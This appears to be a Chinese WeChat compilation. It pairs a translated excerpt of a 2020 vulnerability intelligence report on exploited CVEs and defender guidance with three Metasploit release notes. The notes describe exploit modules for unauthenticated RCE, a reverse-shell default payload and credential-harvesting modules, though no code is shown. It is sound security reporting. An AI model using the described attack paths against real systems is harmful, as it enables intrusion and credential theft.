我们的研究人员在分析紧急威胁时定义的第二个要素回答了这样一个问题:“作为一个攻击者，这个漏洞给我带来了什么?”例如：远程代码执行就是是供应商和CVE编号机构(CNAs)经常描述严重漏洞的一种方式，但在某些情况下，这种描述淡化了严重CVE可用于进一步危害网络的信息。

不出所料，为攻击者提供远程代码执行机会（即在目标系统上执行有效负载的能力）的漏洞是我们分析的50个CVE中最具代表性的实用程序类型，几乎占总数据总合的50%。相对于其他类型的漏洞来说本地代码执行的特性就不那么突出了，但这也不足为奇了，因为从互联网发起对互联网的攻击要相对容易得多。经过我们分析觉得对于攻击者而言，他会觉得可以破坏整个网络基础设施（例如，虚拟化或自动化基础设施）所获得的成就感大大的超过单一的目标攻击。

“文件枚举的 CVEs 在安全新闻或社交媒体上成为头条新闻要少得多，但往往这些信息泄露的都是很重要的信息，并且可以借助这些消息知晓代码执行路径，原本需要验证身份的CVE漏洞现在不需要身份验证即可执行。”

其中一个最好的例子是CVE-2019-11510，它是Pulse Secure vpn中一个未经验证的远程任意文件读取漏洞，利用该漏洞可泄露密码和私钥等敏感信息。这些信息使攻击者能够在易受攻击的VPN服务器上以root身份执行命令。（GitLabCVE-2020-10977则是另一个最新的例子！）

我家大门常打开：Network Pivots（网络枢纽）

2020网络枢纽CVES：

对于攻击者来说，从外部网络攻击转向内部网络攻击的能力是一个重要的分水岭。这里不得不说网络枢轴了。它可以使攻击者能够看到内部和外部的流量，通常是去利用面向internet的系统，如vpn、防火墙、路由器和其他网关设备。网络枢纽有助于攻击者进行数据泄露、流量嗅探和目标网络内的进一步攻击; 简言之，对于世界各地的渗透测试人员来说，拿到网络枢纽权限，才能打开企业内部的大门。

过去一年中最受关注和普遍利用的漏洞大多数都属于网络枢纽类。例如，2020年出现大规模攻击的第一个漏洞是Citrix NetScaler/Application Delivery Controller CVE-2019-19781，这是一个目录遍历漏洞，在2019年12月首次出现，并一直困扰着安全事件响应人员。该漏洞允许远程未经验证的攻击者在易受攻击的网关上执行代码，而且它不是2020年唯一一个充当攻击者网络枢纽的Citrix CVE。NSA于10月警告称，中国国家资助的参与者正在利用Citrix应用程序交付控制器中的另外三个漏洞，其中至少有一个漏洞是可用于提取有效的VPN会话，来获取内部网络访问权限。

对于许多网络维护者来说，2020年6月29日至7月29日是本已充满挑战的一年中特别噩梦般的时期：在此期间，不少于四个CVSS 10漏洞被爆了出来，甚至其中三个发生在短短两周内。6月29日，Palo Alto Networks发布了一份针对CVE-2020-2021的安全建议，这是一个影响公司PAN-OS操作系统的SAML认证绕过，该系统运行在网关、门户、VPN和公司的下一代防火墙上。幸运的是，SAML（security assertion markup language）默认不是使用的身份验证方案，该公司强调，攻击者需要特殊的网络访问权限才能成功利用此漏洞。尽管后续公布了Palo Alto Networks在公共互联网上的Global Protect VPN实例不到70000个，但这依然是一个诱人的香饽饽，攻击者们会试图通过访问这些受保护的资源并找到进入企业网络的途径。

一天后，也就是2020年6月30日，F5 Networks悄悄地发布了一份安全公告，通知客户CVE-2020-5902是一个严重的远程代码执行漏洞，存在于其BIG-IP产品流量管理用户界面(TMUI)的“未公开页面”中。几天之内，多个在野外被利用的证据就被公布了出来，同时有报道称，其中有数千个挖矿工具和针对易受攻击的BIG-IP的自动抓取工具，被暴露在了互联网上。F5在7月8日披露，他们之前发布的缓解建议是可以规避的，任何TMUI接触到互联网的人都应该调用事件响应程序——这是一系列类似于今年早些时候Citrix CVE-2019-19781的事件，尽管规模更大。

直到2020年7月底，安全公司Claroty才发布了一项研究，详细描述了影响已公布的各种VPN关键漏洞，这些案例主要用于工业控制系统(ICS)和运营技术(OT)网络。综上所述，部分cve允许攻击者解密VPN流量、远程执行代码并窃取凭证以用于进一步的攻击。不仅如此，据了解，大约还有1900多个VPN网关居然将其Telnet管理端口暴露在公共互联网上。

在每一种情况下，易受攻击的网关产品都放大了漏洞的严重性，加大了攻击的影响面。10月，在Zerologon对易受攻击的域控制器造成严重破坏的几个星期后，美国网络安全基础设施和安全局（CISA）发布了一份通报，通报了APT参与者除了攻击力关键基础设施和选举组织外，还利用Zerologon和部分网络枢纽漏洞，攻击了联邦，州，地方和部落网络。CISA列出的几个潜在目标漏洞，包括Palo Alto Networks、F5和上面讨论的Citrix漏洞，在本报告中被列为潜在或主动威胁。而且他们并不是唯一这样做的人:首先，任何被识别为我们数据中的网络枢纽的漏洞都可能被用于类似的目的。其次，它们对攻击者的获利相较与去做漏洞提交来得更加直接。

Blues, Bleeds, Neighbors和 Ghosts：内存损坏漏洞

2020 内存损坏漏洞:

*卡巴斯基看到针对CVE-2020-0986漏洞的野生攻击行为后，提供了CVE-2020-0986的报告。但表示，在他们通知之前，微软已经准备了一个补丁。即使卡巴斯基不是唯一一家观察到此行为的公司，但仍然将这个CVE归为零日漏洞里。

在经历过WannaCry的相关安全人员向我们归结了，当面对像2017年的MS17-010和永恒之蓝这种对Windows网络协议（如SMB和RDP）进行攻击的时候，我们应该如何做好防护措施。其实在某种意义上来讲在每周二进行漏洞公布的时候，会给网络安全团队带来很大的压力。并且在漏洞起名上又常常为这些协议漏洞起了一些类似“Blue”“Bleed”等吸引眼球的字眼。在对外的各种安全新闻中又经常将其与“wormable”绑定。但是这些漏洞几乎都没有占得住脚的依据。

2020年的安全新闻标题鼓吹Windows网络协议漏洞中至少有四个可被蠕虫利用的漏洞，还会涉及一些主流供应商的其他漏洞。尽管这些漏洞有些早已声名在外，但预言中的蠕虫却一直没有出现（除了“SMBGhost”），更没有发现大规模的利用。这是为什么呢?

其实只要有足够的技能、机会和动机，大多数的漏洞都可以被或多或少的利用。但这也不排除有的漏洞更难触发，也更难可靠地将其武器化。当然，我们在这里说的是内存损坏漏洞，这是漏洞研究领域最容易导致服务异常的一类漏洞，也是攻击类别里比较著名的类别，如ETERNALBLUE和(在较小程度上)BlueKeep。我们说的内存损坏其实是一大类漏洞，涉及到滥用数据来更改内存并导致意外行为。其实内存损坏类别还包含更细的漏洞类型，如堆栈和堆缓冲区溢出、类型混淆和使用后释放(UAFs)。

当成功利用内存破坏漏洞时，可能导致任意代码执行，或者导致未受处理的状态异常，最终使应用程序崩溃，从而触发拒绝服务(DoS)攻击。前者在局部攻击中更为常见，而后者在针对可上网目标的远程攻击中更为突出。近年来，安全措施做的越来越全面，在某一程度上来讲，极大地复杂化了内存破坏漏洞的利用。因此，开发利用内存损坏的攻击需要更加专业的技巧，通常需要手动进行二次侦察(例如，找到堆或内核内存泄漏，以成功执行攻击)，这极大的限制了漏洞利用应用程序的出现频率。即使内存破坏漏洞利用成功（例如ETERNALBLUE），但其可靠性也仍然是一个不容忽视的问题。

另一方面，内存损坏漏洞编写的漏洞攻击与其他更容易开发的攻击相比，有一些不得不说的优势。比如，在进程或其他内存空间内执行任意代码可以更好地隐藏恶意代码，并留下较少的痕迹（例如，接触磁盘、生成新进程），这提高了恶意攻击者在进行恶意操作时的安全性。此类型的漏洞也可能直接出现在目标中，通常出现在不需要身份验证或单独安装的基本功能中。以10月份的“Bad Neighbor”漏洞（CVE-2020-16898）为例：漏洞默认影响所有版本的Windows，即需要开发在开发时能更加精细，但这样就不需要考虑入侵环境对成功率的影响。

“Bad Neighbor”，“BlueGate”，“SigRed” 以及其他一些热门的cve，在今年从未发布过高效的公共可利用工具。虽然在多数情况下，根本就不会有这种工具的发布。因为想要将内存损坏的DoS动作转换为完全武器化的远程代码执行，这本身就并非是一件容易的事。

但是，在没有公开工具发布作为借鉴的情况下，即使不是独立自己开发。产出这类型bug的攻击武器，其难度系数还是很高的。

在资源的拥有度上，有官方背景的黑客和其他久经沙场的攻击者明显会更占优势。在一定程度上，那些漏洞贩子也是，他们可以直接通过倒卖信息获取更有利的资源。考虑到这一点，就可以理解，为什么2020年的一些内存损坏漏洞到最后揪出来的幕后黑手都是有官方背景的，不管它们是被披露为零日漏洞，还是在几个月后由情报机构公布的外国网络活动信息名单。其中Oracle Solaris CVE-2020-14871和Windows kernelCVE-2020-0986都符合前一种描述，而SigRed (CVE-2020-1350)和Cisco IOS XR CVE-2020-3118则符合后一种描述。IOS XR漏洞是一个典型的例子，这种漏洞在大规模上利用是完全不切实际的。攻击者想要完成成功的攻击需要在局域网内，直接连接到易受攻击的交换机上——这显然是一种监守自盗的行为。

这种情况可能会在2021年更加突出，甚至可能在Windows网络协议中看到更严重的内存损坏漏洞。虽然在很多情况下，我们都处于忐忑不安的情绪下，但在我们真正面对它们时仍然需做到沉着修补不要惊慌。

Spotlight: Operational Technology（焦点：操作技术）

3.  如何利用网络更好的保护你的资产？

以下部分内容截取自SCADAfence研究团队撰写的文档。SCADAfence是一个为企业、工业组织和关键基础设施提供安全运营技术(OT)和物联网(IoT)网络技术的全球领导者。

2020年出现了一系列严重程度很高的漏洞，它们威胁着OT和工业网络，随着深入了解此类脆弱性漏洞，发现想要利用这些漏洞，所面临的第一道坎就是技术的不统一。但2020年推出的这些漏洞数据，并不是第一次告诫我们这个行业潜在威胁的数量正在日益增长，毕竟该行业一直在遭受大规模的网络攻击。

首先，OT，即操作技术(OperationTechnology )，是工厂内的自动化控制系统操作专员为自动化控制系统提供支持，确保生产正常进行的专业技术。其中许多系统都有几十年的历史，很明显，OT环境还没有为互联网时代做好准备。最初的解决方法是通过断开所有的网络连接来对这些系统进行隔离。然而，事实证明，这种方法相当不切实际。OT公司现在需要与互联网接轨来帮助他们保持产品更新以及面临更强力的竞争——比如改进的监控和物流、远程支持、软件更新、开发新的连接产品的能力，等等。

因此，OT资产所有者必须解决在日益互联的世界中最小化风险的挑战。当然目前也遗留了许多过时系统仍然广泛地部署在操作环境中，并且其中大多数在设计时没有考虑到安全性。从重型设备和工业路由器到面向互联网的门户网站和通用软件库，几乎所有部署的OT系统都存在大量漏洞，这是不可回避的事实。这些漏洞影响到数百万设备和数百家供应商，并且有些很难通过源头（供应商）去实现减小风险，甚至有的供应商都技术去无法识别产生的这些漏洞。

OT 安全指南

虽然资产管理者通常拥有Windows终端、服务器和其他设备的全面资产清单，但在OT设备方面却少有记录。这一差距意味着资产所有者无法向其组织的漏洞管理流程提供必要的信息，这些信息包括但不限于供应商、设备型号、版本和是否对外暴露等全面详细信息。如果不全面了解OT设备可能会产生的攻击面，那对它的风险管理又怎么能够全面呢？

每当有漏洞被发布时，特别是当它们可以被利用时，资产所有者应该立刻执行资产评估，以确定漏洞的潜在影响和组织可能存在的风险。某些资产所有者可能仅仅基于CVSS分数对他们受影响的可能性进行评估，但是光凭这一种信息很容易导致误判，从而影响漏洞修复的效率。

反过来想，当组织在评估影响 OT 和IoT 设备的漏洞研究或新闻文章时，也会有助于自己自检。在企业里如果不多维度去考虑如何降低风险的办法（例如不常见的配置或不太可能的攻击场景）最终会容易落得千虑一失的结果。

当然，资产所有者还应考虑采用自动化工具，帮助识别、优先排序和修复OT漏洞，以支持OT漏洞管理计划。理想情况下，工具应帮助OT网络管理人员了解其易受攻击的面和被利用的概率；这可能包括自动资产清查、漏洞关联引擎和网络暴露分析工具。有关此主题的更多信息，请参阅SCADAfence OT漏洞管理指南（ OT Vulnerability Management guide），该指南兼作工业设备修补的综合指南。

Guidance for Defenders（防御指南）

4.2020年威胁响应的主要要点

依据本节中提供的防御指南可以有效的防止报告中许多漏洞的利用，并帮助维护者更快地识别出危害或可疑活动的迹象。首先我们发现，面向不同企业的安全建设方案很少是一模一样的，即使在相同规模、行业和市值的企业中，安全程序的成熟度也存在很大差异。所以，以下建议仅概括了适用于加强防范意识和本文中强调的一些特定风险的经验:

• 即使未发现被高频利用的威胁，也应尽早并尽可能频繁地进行补丁修复。

当严重漏洞在发布数小时或数天内被利用时，应在可能的情况下紧急执行修补程序。除了对入侵检测和预防系统进行微调外，监视可疑行为和事件也是必须的。在紧急情况下，仅仅依靠通用规则和签名认证来做防护是不可取的。因为攻击者通常会找到方法来绕过它们。F5 BIG-IP CVE-2020-5902就是一个很好的例子。

即使是这份报告中几个最为严重的漏洞直到发布数周或数月后才被高频利用(例如，Zerologon, SMBghost, Microsoft Exchange Server CVE-2020-0688)。所以在任何情况下，执行30天的补丁修补周期计划，这将大大有助于防止时间跨度较长的攻击。特别是来自有一定规模的恶意攻击者(例如，僵尸网络运营商、勒索软件活动、脚本小子等)。

• 采取纵深防御是比单独漏洞修补更有效的策略。

老练的攻击者是足智多谋的,面对他们我们不能有一点的投机取巧。因为他们可以使用各种工具、技术、弱点、信息来构建一个成功的攻击链。这时候只做补丁修复也并不总是有效的，正如CVE-2020-14882和CVE-2020-16875那样，它们曾多次出现了补丁无效的情况。

此外，在本报告中有许多单独存在的CVE可以与一个或多个额外的漏洞一起使用，以实现超出单个CVE影响范围的东西。防御者需要在攻击还未到来之前保持谨慎，不要将单个漏洞视为无关紧要的存在，而是选择在整个环境中实现实时控制和保持持续检测的机制。

最后，需要确保跨网络通讯和主机设置有(最好是聚合的)日志记录，这将在威胁活动事件期间节省一些自检的时间。除此外，也需要多了解一些特征库和低成本(或免费)规则集, 至少可以让维护者基本了解其环境中的潜在入侵点在哪儿，当然也可以了解现有的商业解决方案。最终我们的目的是，提高安全人员的安全意识以及对威胁事件的敏锐度，这将有助于在危急来临时做出更快、更有效的反应。

• 保持更新自己的资产信息，其中特别是位于外围和可能被用作外部攻击者访问内部网络的节点的资产或产品。

了解对外开放的资产和关键的网络入口点，可以在出现面向互联网的严重漏洞时节省时间。请特别注意安全网关产品（例如VPN和防火墙）以及其他由于常规运维或必要对外开放的资产。像CVE-2019-19781和CVE-2020-0688就是一个很好的案例。

管理和管理接口不应暴露于公共互联网。同样的道理也适用于域控制器，也包含企业不希望外部攻击者能够探测的其他资产，例如物联网设备在不知情的情况下暴露在网上。定期审计暴露在互联网上的资产信息，如果条件允许的话，可以定期进行外部渗透测试。

附录

为什么选择这些CVE

在分析漏洞时，它所处的环境是最重要的，在管理漏洞时也是如此。对漏洞的深入研究之前我们是如何获知它的相关信息的呢——通过发出警告的供应商、来自朋友的一些私人情报、一个推特信息或一篇新闻文章。简而言之，本报告中的漏洞之所以会被我们重视，不仅是因为它们在各大社区反响较为强烈，关键还吸引了大量跃跃欲试的黑客对它的探究。并且，它们还会影响到各行各业以及个人平时所依赖的软件和系统。此数据中不包括2020 年所有 CVE 以及另外的主动攻击事件，但它确实可以用来代表各种攻击者利用案例进行研究。

当然，我们的并不是要暗示其他任何一个CVE或漏洞都没有本文中出现的漏洞重要。我们只是让各个安全团队，网络管理员和整个防御者都深入了解了，哪些资产对于他们的环境来讲是至关重要的。以及面对威胁时所采取的措施是否会影响其业务优先级。

说明文档

本报告中介绍的CVE几乎都始于2020年，但有两个例外：Telerik UI CVE-2019-18935和Citrix NetScalerADC / Gateway CVE-2019-19781，它们均于2019年底发布，但是却在2020年得到持续利用。

由于数据的可信度很重要，因此我们尽可能列举出坐实了被列为野外利用的漏洞，也就是说，我们引用了相对可信的检测、验证以及报告。本文所引用的主要来源包括美国情报机构关于高级持续性威胁(APT)利用的警报;安全公司分析他们在事件响应或其他调查期间跟踪的威胁和IOCs；以及指定野生开发的供应商公告(包括以零日披露的cve)。

在本报告中，我们归类为在野生被利用的CVE并不是在2020历年期间被频繁利用的全部漏洞。例如,我们排除了一些利用在Internet Explorer,Chrome, Firefox上的漏洞。如果想了解这些信息可以在Google Project Zero 上的电子表格查看，上面记录了2020年在野生开发的其他一些零日漏洞。

术语表

Attacker Utilities（攻击者实用程序）

远程代码执行（RCE）：远程命令执行漏洞，用户通过浏览器提交执行命令，由于服务器端没有针对执行函数做过滤，导致在没有指定绝对路径的情况下就执行命令，可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。通常指在目标系统上执行有效负载的能力（例如，获取shell会话）。有助于凭证窃取、数据过滤等。

本地代码执行：在攻击者已具有某些访问权限的系统上运行本地代码的能力。最常用于提升权限（例如，以运行易受攻击应用程序的用户身份执行代码）。

网络基础设施受损: 网络基础设施的危害，如网络管理系统或备份系统，可能使攻击者访问由该软件管理的所有内容。虚拟化、自动化和/或设备管理基础设施中的漏洞都属于这一类。

网络枢纽：从外部网络转向内部网络的能力，通常通过利用面向互联网的系统（如 VPN、防火墙、路由器和其他网关设备）。网络枢轴使攻击者能够同时了解内部和外部流量，并在数据外泄、流量嗅探和目标网络内的进一步攻击方面提供帮助。

文件列举：枚举目标文件的能力。读取文件并不会给攻击者提供一个自己执行代码的路径，而是作为原始语言，允许攻击者收集信息，从而使攻击链的次要部分(例如，远程代码执行)成为可能。有助于攻击者跨过身份验证。

Vulnerability Classes(脆弱性类别)

反序列化: 是应用程序能够将数据从可移植格式转换为本机语言的数据类型的过程。许多语言都支持反序列化，包括Java、.NET、Python和Ruby。当加载到本机语言中的数据可能被恶意方篡改时，反序列化过程可能会对安全性构成威胁。典型的攻击包括将数据配置为使用执行操作系统命令所需的参数调用方法。这将导致在加载应用程序的环境中执行命令。此安全问题的常见解决方案包括，对数据进行加密签名以确保其真实性，以及使用允许加载的数据类型的allowlist。相关CWE:CWE-502。

访问控制不当：指对系统中特定接口的访问控制缺失或不足（通常是远程访问的API）。不正确地使用加密技术进行身份验证也属于此脆弱性类别。此问题的常见解决方案包括对所有敏感接口进行适当的身份验证、授权和记录，以及对所有相关机密文件的安全管理。相关CWE的列表：CWE-285、CWE-200、CWE-287、CWE-732。

内存损坏：这是一类很大的漏洞，它涉及到通过各种方法来更改内存并产生意外行为来滥用数据。这个脆弱性类别包括不适当的边界控制、类型混淆、未初始化的数据使用，以及释放后数据的使用等等。这些漏洞通常在不被认为是“type-safe”的语言中表现出来。成功利用内存破坏漏洞可能导致正在运行的应用程序环境中任意执行代码，或者出现未处理的异常，最终导致应用程序崩溃并触发拒绝服务(DoS)。此问题的常见解决方案通常涉及对关键操作(如用于加载和存储数据的操作)的参数进行额外验证。近年来，由于开发了各种此类漏洞的应对措施和安全措施，如kASLR、控制流保护、win32k类型隔离等，现在想成功地利用这些类型的漏洞会变得更加复杂。相关cwe的清单:CWE-787、CWE-125、CWE-416、CWE-190、CWE-476。

注入：这是一大类漏洞，涉及由关联系统以特定方式解释了由攻击者进行构建的的输入。在web应用程序中最常见的就是注入攻击，注入攻击通常会根据被解释的数据类型（例如SQL、LDAP、OS命令）进行更具体的分类。这些漏洞的根本原因几乎都是没有充分的过滤由发送方（恶意攻击者）收来的数据。这些漏洞利用往往对系统本身危害不大的，除非有意（如通过SQL或OS命令），否则很少导致服务出现问题。

特定的代码只能被他所匹配的环境所解释运行。例如，在web应用程序的情况下，SQL注入可以在后端数据库服务器上执行，而OS命令则被注入前端web服务器，JavaScript由最终用户的浏览器执行。因此，这类漏洞的独特之处在于，它通常通过某一个系统漏洞，去损害其他系统的完整性。此问题的常见解决方案通常涉及通过使用allowlist对参数实施严格的过滤。相关CWE的列表：CWE-79、CWE-20、CWE-89、CWE-94。

完整的漏洞列表

*卡巴斯基看到针对CVE-2020-0986漏洞的野生攻击行为后，提供了CVE-2020-0986的报告。但表示，在他们通知之前，微软已经准备了一个补丁。即使卡巴斯基不是唯一一家观察到此行为的公司，但仍然将这个CVE归为零日漏洞里。

参考文献

安全性研究是一种社会追求。本报告得益于许多个人研究人员和研究团队的工作，包括但不限于以下人员的工作：

Steven Seeley, Vulcan 360 (2020)

JJ Lehmann and Ofri Ziv, Guardicore (2020)

Rajesh Nataraj, Sophos (2020)

Kevin Beaumont, Microsoft (2020)

Nahuel Sanchez, Pablo Artuso, Onapsis (2020)

Tom Tervoort and Ralph Moonen, Secura (2020)

Research and Intelligence Fusion Team (RIFT), NCC Group (2020)

Sophos Labs (2020)

Dirk-jan (dirkjanm) (2020)

x41sec (X41 D-SEC GmbH) (2020)

Tom Sellers, Rapid7 Labs (2020)

Maddie Stone, Google Project Zero (2020)

James Forshaw, Google Project Zero (2020)

Johannes B. Ullrich, Ph.D, SANS Technology Institute (2020)

Aaron Soto, Rapid7 (2019)

Jon Hart, Rapid7 Labs (2019)

Grant Willcox, Rapid7 (2020)

Joe Needleman, Andrew Nelson, Tony Lee, andMark Stevens, BlackBerry(2020)

Troy Mursch, Bad Packets (2019)

Shelby Pace, Rapid7 (2020)

Claroty Research Team, Claroty (2020)

Bob Rudis, Rapid7 Labs (2020)

John Miller, Matt Allen, Christopher Glyer,Ian Ahl, Nick Carr, FireEye(2017)

ollypwn (2020)

ZecOps Research Team, ZecOps (2020)

RiskSense (2018)

Brent Cook, Rapid7 (2019)

Craig Young, Tripwire (2020)

Daniel dos Santos, Stanislav Dashevskyi,Jos Wetzels, and Amine Amri,Forescout Research Labs (2020)

Maayan Fishelov, SCADAfence (2020)

Haozhe Zhang, Qi Deng, Zhibin Zhang andRuchna Nigam, Palo Alto(2020)

Christopher Glyer, Dan Perez, Sarah Jones,Steve Miller, FireEye(2020)

Volexity Threat Research, Volexity (2020)

Tony Lambert, Red Canary Intel (2020)

Boris Larin, Kaspersky (2020)

Andy Reactor, Mandiant (2020)

Kevin Beaumont (2020)

SophosLabs (2020)
Mateusz Jurczyk, Google Project Zero (2020)

Justin Moore, Wojciech Ledzion, Luis Rocha,Adrian Pisarczyk, Daniel Caban, Sara Rincon, Daniel Susin, Antonio Monaca, FireEye (2020)

Ben Hawkes, Google Project Zero (2020)

Nick Bloor (2020)
Voidsec (2020)

Itm4n (2020)
Marcus Hutchins, Kryptos Logic (2020)

阅读原文

跳转微信打开

Metasploit最新资讯！！新模块*6，功能更新*6，BUG修复*4~

新模块（6）

GravCMS Remote Command Execution：Mehmet Ince增加了一个可利用利用CVE-2021-21425的远程攻击模块。利用未经验证的任意YAML写入/更新漏洞，在web服务器用户的上下文中获得远程代码执行。此漏洞是在GravCMS版本1.7.9中发布的，且已经在1.10.10版本的管理组件中得到了修复。

Micro Focus Operations Bridge ReporterUnauthenticated Command Injection：由Pedro Ribeiro编写，利用了CVE-2021-22502漏洞。这是Micro Focus OperationsBridge Reporter中的一个未经认证的操作系统命令注入漏洞。

IGEL OS Secure VNC/Terminal CommandInjection RCE：由James Brytan、James Smith、Marisa Mack、Rob Vinson、Sergey Pashevkin和Steven Laura共同提供了这个模块，该模块利用不同版本IGEL OS中的安全终端和安全影子服务中的未经认证的命令注入漏洞。

Google Chrome versions before89.0.4389.128 V8 XOR Typer Out-Of-Bounds Access RCE：由Bruno Keith (bkth_), Grant Willcox (tekwizz123), Niklas Baumstark(_niklasb), 和Rajvardhan Agarwal (r4j0x00)提供。该模块针对Chrome V8 XOR类型OOB Access RCE的漏洞模块，该漏洞在2021年Pwn2Own竞赛中被DataflowSecurity的Niklas Baumstark (@niklasb)和Bruno Keith (@bkth)发现。

请注意，此模块将要求您在没有启用沙箱的情况下运行Chrome，因为它没有附带沙箱转义。

UNIX Gather Cached AD Hashes：由Tim Brown提供。该模块可以从UNIX上的两个不同解决方案（SSSD和VAS）检索缓存的ActiveDirectory凭据。

UNIX Gather Kerberos Tickets：也由Tim Brown提供。该模块可以从UNIX上的两个不同解决方案（SSSD和VAS）检索缓存的ActiveDirectory凭据。

功能更新（6）

更新1：使用一个新的cookiejar实现更新HttpClient mixin，当使用send_request_cgikeep_cookies选项时，正确更新和合并Set-Cookie报头响应

更新2：将which命令的使用替换为command-v，从而提供了一个更具可移植性的解决方案

更新3：exploit/windows/local/microfocus_operations_privesc模块现在同时支持易受攻击的Operations Bridge Manager安装和易受攻击的OperationsBridge Reporter安装，新的附加目标是Operations Bridge Reporter。

更新4：将shell会话支持添加到post / windows / gather / checkvm模块。并且添加了跨平台支持，可使用shell和Meterpreter会话获取正在运行的进程的列表。

更新5：将exploit/multi/http/microfocus_ucmdb_unauth_deser模块默认的Linux负载从cmd/unix/generic更新为cmd/unix/reverse_python。

更新6：通过清理代码增强了辅助/scanner/http/dell_idrac模块，将last_attempted_at字段添加到create_credential_login以防止崩溃，并为该模块添加文档说明。

BUG修复（4）

• 修复了某些Meterpreter会话类型通过sessions-c发出的命令但却无法同步运行地的问题。

• 修复了在将较新的Acunetix报告导入数据库时由于时间戳格式的改变而出现的bug。

• 修复了tools / modules / module_author.rb中的回退，使其运行时不会崩溃。

• msftidy_docs.rb现在不会对可选(和丢失)选项头发出双重警告。

  
  

如何获取最新版本

    与过去一样，您可以使用命令msfupdate更新到最新的 Metasploit Framework，也可以通过GitHub获取最新的更新信息:

• Pull Requests 6.0.42...6.0.43(https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-04-29T10%3A54%3A48-05%3A00..2021-05-05T09%3A27%3A49-04%3A00%22)

• Full diff 6.0.42...6.0.43 (https://github.com/rapid7/metasploit-framework/compare/6.0.42...6.0.43)

    如果您是git用户，那么可以克隆Metasploit Framework repo（https://github.com/rapid7/metasploit-framework）以获取最新版本。
    要在不使用git的情况下安装，可以使用只开放源码的Nightly Installers(https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers)安装程序或binaryinstallers(https://www.rapid7.com/products/metasploit/download/)安装程序（也包括商业版）。

阅读原文

跳转微信打开

Metasploit最新资讯！！新模块*4，功能更新*1，BUG修复*7~

新模块（4）

Apache OFBiz SOAP Java Deserialization ：由 wvu, Spencer McIntyre和 yumusb为Metasploit增加了一个攻击模块，可适用的范围为v17.12.06之前的Apache OFBiz。这些版本容易受到Java反序列化漏洞的攻击。通过发送一个序列化的有效负载到webtools/control/SOAPService，可以实现作为运行ApacheOFBiz服务的用户的未经身份验证的远程代码执行。

Gitea and Gogs Git Hooks Remote CodeExecution ：由 Christophe De La Fuente 和Podalirius为Metasploit增加了两个模块exploit/multi/http/gitea_git_hooks_rce和exploit/multi/http/gogs_git_hooks_rce，两者都利用git hooks设置分别针对易受攻击的Gitea和Gogs版本实现经过身份验证的远程代码执行。有了有效的凭据并获得创建git hooks的许可，这两个模块都会创建一个repo并上传一个负载作为post-receive触发器。在repo中创建一个额外的文件后，post receive触发器将被触发，这将允许作为运行软件的用户执行代码。

Diagnostics Agent in Solution Manager,stores unencrypted credentials for Solution Manager server：由Vladimir Ivanov 和 Yvan Genuer为Metasploit增加了一个新的post模块，该模块利用CVE-2019-0307不安全密码存储漏洞来检索SLD用户连接和Solman用户通信等凭证。这还改进了cve_2020_6207_solman_rce辅助模块，增加了一个新的secore操作，通过利用识别为cve-2020-6207的身份验证绕过远程执行相同的攻击。

功能更新（1）

更新1：更新了exploit/windows/http/dupscts_bof模块，包括对Dup Scout企业软件的六个更易受攻击版本的覆盖，利用自动定位，并添加模块特征和引用。

BUG修复（7）

• 这修复了cve_2020_1054_drawiconex_lpe模块中的一个问题，该模块总是在目标不易受攻击时报错。

• 修复了用户只有三次机会通过mysql_login模块尝试暴力登陆mysql的问题。

• 更新了auto_target_host的逻辑，避免rhost为空时报错。

• 将CVE引用从CVE详细信息更改为NVD

• 修复了在运行show payloads命令或msfvenom-l payloads时，未能加载的单个模块将阻止其余模块成功加载的问题

• 修复了自定义wordlist值验证，当没有自定义wordlist文件提供时，将恢复辅助cracker模块函数。

• 修复了使用时导致NTP协议模糊器模块崩溃的回归问题

  
  

如何获取最新版本

    与过去一样，您可以使用命令msfupdate更新到最新的 Metasploit Framework，也可以通过GitHub获取最新的更新信息:

• Pull Requests 6.0.38...6.0.39(https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-04-01T08%3A47%3A57-05%3A00..2021-04-07T13%3A51%3A53-05%3A00%22)

•  Full diff 6.0.38...6.0.39 (https://github.com/rapid7/metasploit-framework/compare/6.0.38...6.0.39)

    如果您是git用户，那么可以克隆Metasploit Framework repo（https://github.com/rapid7/metasploit-framework）以获取最新版本。
    要在不使用git的情况下安装，可以使用只开放源码的Nightly Installers(https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers)安装程序或binaryinstallers(https://www.rapid7.com/products/metasploit/download/)安装程序（也包括商业版）。

阅读原文

跳转微信打开

Metasploit最新资讯！！新模块*6，功能更新*3，BUG修复*4~

更新新功能了！

    新版Metasploit对search功能进行了更新，支持了语法搜索。那我们就叫他Meta语法吧（滑稽）。主要功能可实现按关键类别进行筛选，相近于google语法。具体功能如下：

新模块（6）

SAP Solution Manager remote unauthorizedOS commands execution：由Dmitry Chastuhin, PabloArtuso, Vladimir Ivanov, 和 Yvan Genuer共同研究，此项目添加了两个模块来利用 SAP 解决方案管理器应用程序中的漏洞。成功利用该漏洞可使未经验证的远程攻击者能够实现 SSRF，并执行应用程序范围内连接了代理的操作系统命令。

Nagios XI Scanner：由Erik Wynter使用CVE-2020-35578添加了一组新的库，以支持希望面向Nagios XI机器的开发人员，这应该有助于为开发人员提供一些常用的功能。另外，添加了一个扫描程序模块，它将扫描Nagios XI安装并尝试检测安装的版本。一旦获得了Nagios XI的版本，它会在Metasploit中漏洞利用程序的建议(如果有任何可用的漏洞的话)。

F5 iControl REST Unauthenticated SSRFToken Generation RCE：由wvu和RichWarren开发。利用了CVE-2021-22986，给Metasploit添加了一个模块，该模块利用F5的iControl REST API中未经身份验证的SSRF漏洞，然后作为root用户在F5的各个版本的BIG-IP和BIG-IQ设备上执行代码。

SaltStackSalt API Unauthenticated RCE through wheel_async client：由Alex Seymour和Christophe De La Fuente开发。他们利用了CVE-2021-25282，给Metasploit添加了一个利用模块，该模块利用了SaltStack Salt的REST API 3002.5及以下版本中的认证绕过和目录遍历漏洞。通过将自定义Grain模块写入扩展模块目录并等待重复维护检查执行该恶意Grain模块，可以实现以root用户身份远程执行代码。

WindowsGather Exchange Server Mailboxes：由SophosLabsOffensive安全团队提供，此模块用于枚举Exchange服务器上的邮箱。

功能更新（3）

更新1：改善了控制台中show命令的性能。例如show exploits现在只需要0.5秒左右，而不是像以前一样可能10几秒

更新2：更新了ProxyLogon RCE模块以使用RPC请求来标识后端服务器的FQDN。

更新3：更新Linux metermeter实现，以支持search命令，该命令允许用户在受损系统上搜索文件。

BUG修复（4）

• 修复了当RHOST选项被指定为域名时VHOST选项不被正确填充的问题。

